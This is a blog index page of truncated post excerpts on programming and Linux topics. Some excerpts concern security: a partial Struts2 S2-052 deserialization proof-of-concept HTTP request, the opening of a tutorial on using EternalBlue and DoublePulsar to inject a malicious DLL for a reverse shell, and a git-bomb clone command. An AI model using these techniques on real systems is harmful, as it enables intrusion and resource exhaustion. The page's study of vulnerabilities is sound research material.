最新文章

Read Me!

Best-websites-a-programmer-should-visit Some useful websites for programmers. When learning CS there are some useful sites you must know to get always informed in order to do your technologies eve and learn new things. Here is a non exhaustive list of some sites you should visit, this list will get updated as soon as I can get […]

Books Collection

Index Github Ada Agda Alef Android APL Arduino ASP.NET MVC Assembly Language Non-X86 AutoHotkey Autotools Awk Bash Basic BETA C C# C++ Chapel Cilk Clojure COBOL CoffeeScript ColdFusion Cool Coq Crystal CUDA D Dart DB2 Delphi / Pascal DTrace Elasticsearch Elixir Ecto Phoenix Emacs Embedded Systems Erlang ESP8266 F# Firefox OS Force.com Forth Fortran FreeBSD […]

Linux note0x02

IpTables & Firewalld iptables PreRouting, Input, Output, Forward, PostRouting 参数 作用 -P 设置默认策略 -F 清空规则链 -L 查看规则链 -A 在规则链的末尾加入新规则 -I num 在规则链的头部加入新规则 -D num 删除某一条规则 -s 匹配来源地址IP/MASK,加叹号“!”表示除这个IP外 -d 匹配目标地址 -i 网卡名称 匹配从这块网卡流入的数据 -o 网卡名称 匹配从这块网卡流出的数据 -p 匹配协议,如TCP、UDP、ICMP --dport num 匹配目标端口号 --sport num 匹配来源端口号 iptables -L View existing iptables rule iptables -F Empty the rules iptables […]

Linux note0x01

RAID & LVM RAID RAID RAID0 RAID0 splits ("stripes") data evenly across two or more disks, without parity information, redundancy, or fault tolerance. RAID1 RAID 1 consists of an exact copy (or mirror) of a set of data on two or more disks; a classic RAID 1 mirrored pair contains two disks. RAID5 RAID 5 […]

Linux note0x00

File x: get in dir. r: browse dir. File Special Authorization SUID chmod u+s bin For binary file Equal: (tempUser) execute file SGID chmod g+s dir For binary file Equal: (tempGroup) execute file IF u create a file, the file will be belong to u, but not for sgid, it belongs to sgid directory which […]

SICP lec1b: # Computing process

Computing process kinds of expressions number symbols lambda definations conditionals combinations condition if (define (+ x u) (if (= x 0) y (+ (-1 x) (1 y)) ) ) Fibonacci (define (fib n) (if (< n 2) n (+ (fib (- n 1)) (fib (- n 1)) ) ) ) tips: 1+ function means add […]

SICP lec1a: # Lisp overview

origin link sicp 1 Black box(module) (* x (+ a b)) First scene: Every parentheses is a container called black box, we can take a and b as to varible, like number, electric signal, whatever, we add them, then mul or expand them x times. tips primitive elements + : operator 17.4 : number means […]

[Parser] Build: PL By:JS

origin: http://lisperator.net/pltut/ InputStream TokenStream Parse Summary var ast = parse(TokenStream(InputStream(code))); Writing a parser is, depending on the language, a moderately complex task. In essence, it must transform a piece of code (which we inspect by looking at the characters) into an “abstract syntax tree” (AST). The AST is a structured in-memory representation of the program, […]

[Initial] Build: PL By: JS

Origin: http://lisperator.net/pltut/ This is a tutorial on how to implement a programming language. If you ever wrote an interpreter or a compiler, then there is probably nothing new for you here. But, if you're using regexps to “parse” anything that looks like a programming language, then please read at least the section on parsing. Let's […]

(转) INT 指令集

本文由 简悦 SimpRead 转码, 原文地址 http://www.cnblogs.com/ynwlgh/archive/2011/12/12/2285017.html 很多初学汇编语言的同学可能会对 INT 21H 这条指令感到困惑,不知道是什么意思,下面就以一段简单的程序为大家讲解: 例如:需要键盘输入,并且回显。 AH 的值需要查表取得,表在下面 指令:MOV AH,01 INT 21H 通过这样两条指令,输入的字符就会被存储在 AL 中。 表:DOS 系统功能调 INT 21H AH 功能 调用参数 返回参数 00 程序终止 (同 INT 20H) CS = 程序段前缀   01 键盘输入并回显   AL = 输入字符 02 显示输出 DL = 输出字符   03 异步通迅输入   AL = 输入数据 […]

如何实现一个安全的Web登录

综述: 建议点击文中所有的链接获取较为详细的信息 待 Update:SSO, QUIC、HSTS等协议研究, SHA-1 可破解 总结: 没有绝对的安全,能不自己做就不自己做, 要么 openID(不了解), 要么OAuth(推荐QQ & Github) 本文不考虑键盘记录器等养毒行为, 本文不考虑堆栈溢出, exploit, SQL注入等。 单纯谈论偏向登陆会话过程 思维养成key: 时间, 信任 无解问题: CSRF, 中间人攻击(有应对方案,但没有根本解决的方案) 方案:SSL必加(非对称,不是绝对但是已经超安全了), 客户端加密可选, 加密关键词(非对称, Hash 加盐), localStorage 存 token(仿CSRF), 指纹ID:比如UUID(Java),cookie 设计参考Chrome Dev查看知名网站,猜测大致保存用户名,session, jsessionid, uuid, token(浏览器不支持localStorage), Hm_lvt_siteid, Hm_lpvt_siteid等等,文中有部分cookie 参数链接 正文 09年老5则 加密单向并且强壮(MD5我100个不推荐, 看刷ctf的整天口算md5玩, 看开头,所以推荐 SHA2) 密码长度强制长 密码字符无限制, 至少满足ascii(出开头结束空格) 不要给用户发送他的密码(VMware就这么蠢比过) IMAP 应用,中间人攻击 between […]

Exploding Git Repositories

Origin fork: git exploding repo Tree, blob 可参考 git clone https://github.com/Katee/git-bomb.git 值得一试上面的命令。(最好不要用自己的工作物理机) 如果你没有足够大的 RAM 和 storage, 那么通常来说你的 git 会被kill, 然后就是爆内存到逼你重启。 The secret is that git de-duplicates “blobs” (which are used to store files) to make repositories smaller and allow using the same blob when a file remains unchanged between commits. blobs 指的是 类似 文件内容或inodes, tree […]

(转)Regex

本文由 简悦 SimpRead 转码, 原文地址 http://www.cnblogs.com/deerchao/archive/2006/08/24/zhengzhe30fengzhongjiaocheng.html 来园子之前写的一篇正则表达式教程,部分翻译自 codeproject 的 The 30 Minute Regex Tutorial。 由于评论里有过长的 URL, 所以本页排版比较混乱, 推荐你到原处查看, 看完了如果有问题, 再到这里来提出. 一些要说的话: 如果你没有正则表达式的基础,请跟着教程 “一步步来”。请不要大概地扫两眼就说看不懂——以这种态度我写成什么样你也看不懂。当我告诉你这是“30 分钟入门教程” 时,请不要试图在 30 秒内入门。 事实是,我身边有个才接触电脑,对操作都不是很熟练的人通过自己学习这篇教程,最后都能在文章采集系统中使用正则表达式完成任务。而且,他写的表达式中,还使用了 “零宽断言” 等“高级”技术。 所以,如果你能具体地说明你的问题,我很愿意帮助你。但是如果你概括地说看不懂,那不是我的问题。 欢迎转载,但请声明作者以及来源。 正则表达式 30 分钟入门教程 版本:v2.31 (2009-4-11) 作者:deerchao 转载请注明来源 本文目标 30 分钟内让你明白正则表达式是什么,并对它有一些基本的了解,让你可以在自己的程序或网页里使用它。 如何使用本教程 最重要的是——请给我 30 分钟,如果你没有使用正则表达式的经验,请不要试图在 30 秒内入门——除非你是超人 😊 别被下面那些复杂的表达式吓倒,只要跟着我一步一步来,你会发现正则表达式其实并没有你想像中的那么困难。当然,如果你看完了这篇教程之后,发现自己明白了很多,却又几乎什么都记不得,那也是很正常的——我认为,没接触过正则表达式的人在看完这篇教程后,能把提到过的语法记住 80% 以上的可能性为零。这里只是让你明白基本的原理,以后你还需要多练习,多使用,才能熟练掌握正则表达式。 除了作为入门教程之外,本文还试图成为可以在日常工作中使用的正则表达式语法参考手册。就作者本人的经历来说,这个目标还是完成得不错的——你看,我自己也没能把所有的东西记下来,不是吗? 清除格式 文本格式约定:专业术语 元字符 / […]

(转)Android-Compress

本文由 简悦 SimpRead 转码, 原文地址 https://zhuanlan.zhihu.com/p/23882195?utm_medium=social&utm_source=qq 1、我是怎么思考这件事情的 APK 是 Android 系统安装包的文件格式,关于这个话题其实是一个老生常谈的题目,不论是公司内部,还是外部网络,前人前辈已经总结出很多方法和规律。不过随着移动端技术近两年的飞速发展,一些新的思维方式和优化方法也逐渐涌现和成熟起来。笔者在实践过程中踩过一些坑,收获了一些经验,在这里做个思考和总结,所以随笔给大家,希望对大家从事相关工作的时候有所帮助和参考,同时也是抛砖引玉,希望大家共同探讨这个开放性的话题。 关于为什么 APK 要瘦身,这个不多说,只从三个方面唠叨一下,对于用户(或者客户)来说,APK 越大,在下载安装过程中,他们耗费的流量会越多,安装等待时间也会越长;对于产品本身,意味着下载转化率会越低(因为竞品中,用户有更多机会选择那个体验最好,功能最多,性能最好,包最小的);对于研发来说,是一种优化改进技术的机会。 欲瘦身,我们先找找胖的原因和问题。按目标-路径-资源的思维模式,找原因和问题有如下几条路径,一是拍脑袋,按自己的经验和判断,甚至是主观想象;二是去搜索引擎找关键字,逛各种技术论坛听技术大牛们怎么说,看各类技术文章抽取提炼;三是用一种可测量的工具或者方法发现问题。 前两种不赘述,我这里说说第三种方法。用一种可测量的工具或者方法来分析,所谓工欲善其事,必先利其器。这个器可以可以自己锻造,也可以用现成的。这里推荐一个在线 apk 分析工具,因为是外部工具,所以大家请在使用过程中,不要上传未发布出去的产品,为了数据安全,笔者这里拿一个 github 上开源的 Android 项目作为瘦身示例。 2、寻找问题 NimbleDroid 是美国哥伦比亚大学的博士创业团队研发出来的分析 Android app 性能指标的系统,分析的方式有静态和动态两种方式,其中静态分析可以分析出 APK 安装包中大文件排行榜,各种知名 SDK 的大小以及占代码整体的比例,各种类型文件的大小以及占排行,各种知名 SDK 的方法数以及占所有 dex 中方法数的比例,废话不多说,下面上高清无码大图看看颜值吧。 如果想使用分析功能分析自己的产品,请登录并上传自己产品的 apk 包,所有功能目前均免费使用,如果是想分析 Google Play 上已经发布的产品,可以直接点击 "Play Apps" 查看,还可以使用搜索功能根据应用名和包名查看结果。再次强调下,请不要上传任何未发布的产品。 登录 上传 apk 文件 分析结果摘要,可以看到一些概览的信息,apk 文件大小,总的方法数 文件大小分析详情页,大文件列表,这里列出的是 apk 文件中超过 […]

Server & Http Resources

Static content and more The Web was originally designed to serve documents, not to deliver applications. Even today, a large amount of the data presented on any web site is static content — images, HTML files, videos, downloadable files, and other media stored on disk. Specialized web server programs — like Apache, Nginx, or IIS […]

Java & Android Interview

& Java使用有向图的方式进行内存管理,可以消除引用循环的问题,例如有三个对象,相互引用,只要它们和根进程不可达的,那么GC也是可以回收它们的。这种方式的优点是管理内存的精度很高,但是效率较低。另外一种常用的内存管理技术是使用计数器,例如COM模型采用计数器方式管理构件,它与有向图相比,精度行低(很难处理循环引用的问题),但执行效率很高。 为了更好理解 GC 的工作原理,我们可以将对象考虑为有向图的顶点,将引用关系考虑为图的有向边,有向边从引用者指向被引对象。另外,每个线程对象可以作为一个图的起始顶点,例如大多程序从 main 进程开始执行,那么该图就是以 main 进程顶点开始的一棵根树。在这个有向图中,根顶点可达的对象都是有效对象,GC将不回收这些对象。如果某个对象 (连通子图)与这个根顶点不可达(注意,该图为有向图),那么我们认为这个(这些)对象不再被引用,可以被 GC 回收。 以下,我们举一个例子说明如何用有向图表示内存管理。对于程序的每一个时刻,我们都有一个有向图表示JVM的内存分配情况。以下右图,就是左边程序运行到第6行的示意图。 Java的内存管理就是对象的分配和释放问题。在 Java 中,程序员需要通过关键字 new 为每个对象申请内存空间 (基本类型除外),所有的对象都在堆 (Heap)中分配空间。另外,对象的释放是由 GC 决定和执行的。在 Java 中,内存的分配是由程序完成的,而内存的释放是由 GC 完成的,这种收支两条线的方法确实简化了程序员的工作。但同时,它也加重了JVM的工作。这也是 Java 程序运行速度较慢的原因之一。因为,GC 为了能够正确释放对象,GC 必须监控每一个对象的运行状态,包括对象的申请、引用、被引用、赋值等,GC 都需要进行监控。 监视对象状态是为了更加准确地、及时地释放对象,而释放对象的根本原则就是该对象不再被引用。 栈与堆的区别: 在方法体内定义的(局部变量)一些基本类型的变量和对象的引用变量都是在方法的栈内存中分配的。当在一段方法块中定义一个变量时,Java 就会在栈中为该变量分配内存空间,当超过该变量的作用域后,该变量也就无效了,分配给它的内存空间也将被释放掉,该内存空间可以被重新使用。 堆内存用来存放所有由 new 创建的对象(包括该对象其中的所有成员变量)和数组。在堆中分配的内存,将由 Java 垃圾回收器来自动管理。在堆中产生了一个数组或者对象后,还可以在栈中定义一个特殊的变量,这个变量的取值等于数组或者对象在堆内存中的首地址,这个特殊的变量就是我们上面说的引用变量。我们可以通过这个引用变量来访问堆中的对象或者数组。 Java 内存分配策略 Java 程序运行时的内存分配策略有三种,分别是静态分配,栈式分配,和堆式分配,对应的,三种存储策略使用的内存空间主要分别是静态存储区(也称方法区)、栈区和堆区。 静态存储区(方法区):主要存放静态数据、全局 static 数据和常量。这块内存在程序编译时就已经分配好,并且在程序整个运行期间都存在。 栈区 :当方法被执行时,方法体内的局部变量都在栈上创建,并在方法执行结束时这些局部变量所持有的内存将会自动被释放。因为栈内存分配运算内置于处理器的指令集中,效率很高,但是分配的内存容量有限。 堆区 : 又称动态内存分配,通常就是指在程序运行时直接 new 出来的内存。这部分内存在不使用时将会由 Java […]

(转) struts2-052漏洞

原文链接 nMask 概述 今年struts2疯了,被爆出了很多高危漏洞,之前我研究过s_045、s_046漏洞,近期又出现了s_052漏洞。s_052漏洞危害稍微小一些,因为利用环境比较苛刻,需要使用Struts2 REST插件的XStream组件。 免责申明:文章中的工具等仅供个人测试研究,请在下载后24小时内删除,不得用于商业或非法用途,否则后果自负 s2-052漏洞介绍 s2-052漏洞是当用户使用带有XStream组件的Struts-REST插件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,可直接在数据包中插入恶意代码。 漏洞编号:CVE-2017-9805(S2-052) 漏洞影响:Struts2.5 – Struts2.5.12版本。 S2-052poc POST /struts2-rest-showcase/orders/3;jsessionid=A82EAA2857A1FFAF61FF24A1FBB4A3C7 HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Content-Type: application/xml Content-Length: 2365 Referer: http://127.0.0.1:8080/struts2-rest-showcase/orders/3/edit Cookie: JSESSIONID=A82EAA2857A1FFAF61FF24A1FBB4A3C7 Connection: close Upgrade-Insecure-Requests: 1 <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is […]

You Don’t Need jQuery

You Do not Need jQuery Frontend environments evolve rapidly nowadays, modern browsers have already implemented a great deal of DOM/BOM APIs which are good enough. We don't have to learn jQuery from scratch for DOM manipulation or events. In the meantime, thanks to the prevailing of frontend libraries such as React, Angular and Vue, manipulating […]

CSS Diner

Css Diner Select what you want. A + B This selects all B elements that directly follow A. Elements that follow one another are called siblings. They're on the same level, or depth. In the HTML markup for this level, elements that have the same indentation are siblings. Examples p + .intro selects every element […]

FTP Service Setup

FTP service setup Setup vsftpd sudo apt-get install vsftpd -y Start vsftpd check whether the port 21 is working sudo netstat -nltp | grep 21 if the above not start, you can do it manually sudo systemctl start vsftpd.service Config the User directory make a directory sudo mkdir /home/uftp make a welcome file sudo touch […]

Vue Vs React

title: Comparison with Other Frameworks type: guide order: 29 chinese version This is definitely the most difficult page in the guide to write, but we do feel it's important. Odds are, you've had problems you tried to solve and you've used another library to solve them. You're here because you want to know if Vue […]

文件挂载的配置文件:/etc/fstab

要挂载的设备或伪文件系统 挂载点 文件系统类型 挂载选项 转储频率 自检次序 UUID=6efb8a23-bae1-427c-ab10-3caca95250b1 /boot xfs defaults 0 0 要挂载的设备或伪文件系统:设备文件、LABEL(LABEL="")、UUID(UUID="")、伪文件系统名称(proc, sysfs) 挂载点:指定的文件夹 挂载选项:defaults 转储频率: 0:不做备份 1:每天转储 2:每隔一天转储 自检次序: 0:不自检 1:首先自检;一般只有rootfs才用1; /etc/fstab和/etc/mtab的区别 /etc/fstab文件的作用: 记录了计算机上硬盘分区的相关信息,启动 Linux 的时候,检查分区的 fsck 命令,和挂载分区的 mount 命令,都需要 fstab 中的信息,来正确的检查和挂载硬盘。 /etc/mtab文件的作用: 先看它的英文是: This changes continuously as the file /proc/mount changes. In other words, when filesystems are mounted and unmounted, the change […]

PoiPlayer 500

Poi Player 播放失败,后台加载不出来歌单 前台console 报500 get.php 解决方案: 缺少curl sudo apt-get install php7.0-curl 记录下调试过程: wordpress 插件debug最好先从后台开始 开启 wp-config.php 的debug模式后,检查后台插件设置的报错 因为这次是500 猜测是ajax请求失败 那么就可能是 ajax无法使用 请求本身就有问题 在使用过程中,请求本身有问题的可能性很低,因为作者大佬的本身就能使用,那么错误很可能就是出在ajax无法使用,后台设置,获取歌单的时候,debug模式下会报错 根据报错日志,明显发现是curl的问题,安装即可 微微吐槽。。。 。。。。话说为啥php不集成curl?

NSA tools

标签: injection security python shadowbroker tool 介绍 去年八月,ShadowBroker 发布了一套从NSA那偷来的工具,一个GitHub库对此fork了一份: 工具库 在这份文档中,我们将重点转移到ETERNALBLUE上(针对win和插件DOUBLEPULSAR)。为了使这波操作离开要命的敲代码。我们会使用FUZZBUUNCH, 这可是NSA他娘的意大利炮。 为啥选Eternalblue 和 DoublePulsar 在暗影众多的 win爆 工具中, Eternalblue 是 唯一一个可以用来攻击win7 和 win server 2008 而 不需要权限 的。 除此之外,我们可以用插件 DOUBLEPLUSAR 来注入到目标远程端一个恶意的DLL。 记住了小伙鸡, 我们可以注入任何我们想要的 DLL; 我们将用 Empire 创建一个恶意的DLL 来 获取一个 反向连接(从目标鸡到攻击鸡) 安装部分 我们需要三台机器在同一个当地网络(LAN, local area network) 1. 目标鸡(Win 7/2008) 一只鸡配备了 win7/2008 可以用来当目标鸡。然后这只鸡我们只要知道它的IP就行了。 2. 攻击公鸡 这只鸡要配备上我们的子弹, 首先它得是 […]

AQUATONE: A tool for domain flyovers

~~~~Forked by https://github.com/michenriksen/aquatone Knowing the attack surface of something is critical for both defending and attacking it. When it comes to domain names, a very common approach for uncovering the attack surface is to discover its subdomains. Subdomains will increase the number of potential target sites as well as uncover IP ranges to probe further. […]

NodeBB 安装

NodeBB 安装论坛 原文连接如下: https://www.vultr.com/docs/installing-nodebb-on-ubuntu-14-04 实测环境: 腾讯云 ubuntu 16.04 NodeBB 是一款论坛软件, 它基于node因此安装起来有点像Ghost(基于node的一款博客框架,类似的还有hexo等) 这篇文章将说明如何在 Ubuntu 14.04 版本上安装 NodeBB,(其实我是Ubuntu 16.04) 1. 必要安装 安装必要的 git, nodejs, npm, redis and imagemagick. apt-get install git nodejs nodejs-legacy npm redis-server imagemagick build-essential 2. 安装 NodeBB 从git仓库上下载下来NodeBB重命名目录为 nodebb git clone -b v0.8.x https://github.com/NodeBB/NodeBB.git nodebb 进入 nodebb cd nodebb 使用npm来进行预安装。这个过程比较长,因此你得有点耐心 npm install --production 然后开启 […]

An animation like light card

Talk is cheap, note is there , show you code. <!DOCTYPE html> <html> <head> <title></title> <meta charset="utf-8" /> <style media="screen"> body{ background-color: #000; } #wrap{ position: relative; /*the img size and make it get center*/ width: 130px; height: 200px; margin: 150px auto; transform-style: preserve-3d; /*perspective: 1000px;*/ /*make the whole items of wrap rotate by the […]

WebShell and Threat Intelligence

Good image, hope it could be useful for u. And then, four points you need to pay a little attention: Traffic monitor ”CaiDao” ‘s payload are all in request body. “Weevely“‘s payload are all in cookie and spreate to make up again. File moitor Always include system method Encrypt is very common Attack origin Tor […]

Atom measures

forked by https://github.com/futantan/atom 文件切换 ctrl-shift-s 保存所有打开的文件 cmd-shift-o 打开目录 cmd-\ 显示或隐藏目录树 ctrl-0 焦点移到目录树 目录树下,使用a,m,delete来增加,修改和删除 cmd-t或cmd-p 查找文件 cmd-b 在打开的文件之间切换 cmd-shift-b 只搜索从上次git commit后修改或者新增的文件 导航 (等价于上下左右) ctrl-p 前一行 ctrl-n 后一行 ctrl-f 前一个字符 ctrl-b 后一个字符 alt-B, alt-left 移动到单词开始 alt-F, alt-right 移动到单词末尾 cmd-right, ctrl-E 移动到一行结束 cmd-left, ctrl-A 移动到一行开始 cmd-up 移动到文件开始 cmd-down 移动到文件结束 ctrl-g 移动到指定行 row:column 处 cmd-r 在方法之间跳转 目录树操作 cmd-\ 或者 […]

正在获取,请稍候...
00:00/00:00